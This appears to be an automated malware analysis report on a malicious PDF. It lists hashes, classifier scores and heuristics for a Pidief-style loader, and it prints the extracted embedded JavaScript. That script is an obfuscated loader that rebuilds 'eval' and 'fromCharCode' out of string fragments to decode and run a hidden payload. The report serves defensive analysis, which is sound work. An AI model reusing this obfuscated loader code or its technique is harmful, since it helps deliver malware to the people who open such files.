Malicious PDF — malware analysis report

Static analysis result for SHA-256 2fa16c15fe5cbc14…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2012-09-15
MD5: c970564bce29fc5f13f2d42e5010f03f SHA-1: 00feb6adf2f5e1fb8f913dc730f586c59451d2fa SHA-256: 2fa16c15fe5cbc14b334948f7a51a03d6090259d953ffbb244ab20f8d6882301
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File Execution: Malicious JavaScript

The file is a PDF document that contains embedded JavaScript. The ML classifier strongly indicates maliciousness, and the presence of JavaScript actions and streams points to an attempt to execute code. The document body 'substr split test' provides no contextual information. The embedded JavaScript is the primary indicator of malicious intent, likely to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB075 449 bytes
SHA-256: 787f4464f8e9696cb0a7a28f348b2116654946c01c53aa8b70e21fd1c4261d9a
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
azivo=e('ti'.concat(v[4],t));
q=azivo[v](a.length-6,a.length+2);
edw=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=azivo[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	rnfxg = 1*(q[i]);
	i++;
	rnfxg -= (-1)*(q[i]);
	s2 = s2.concat(edw(rnfxg));
	i++;
}
e(s2);

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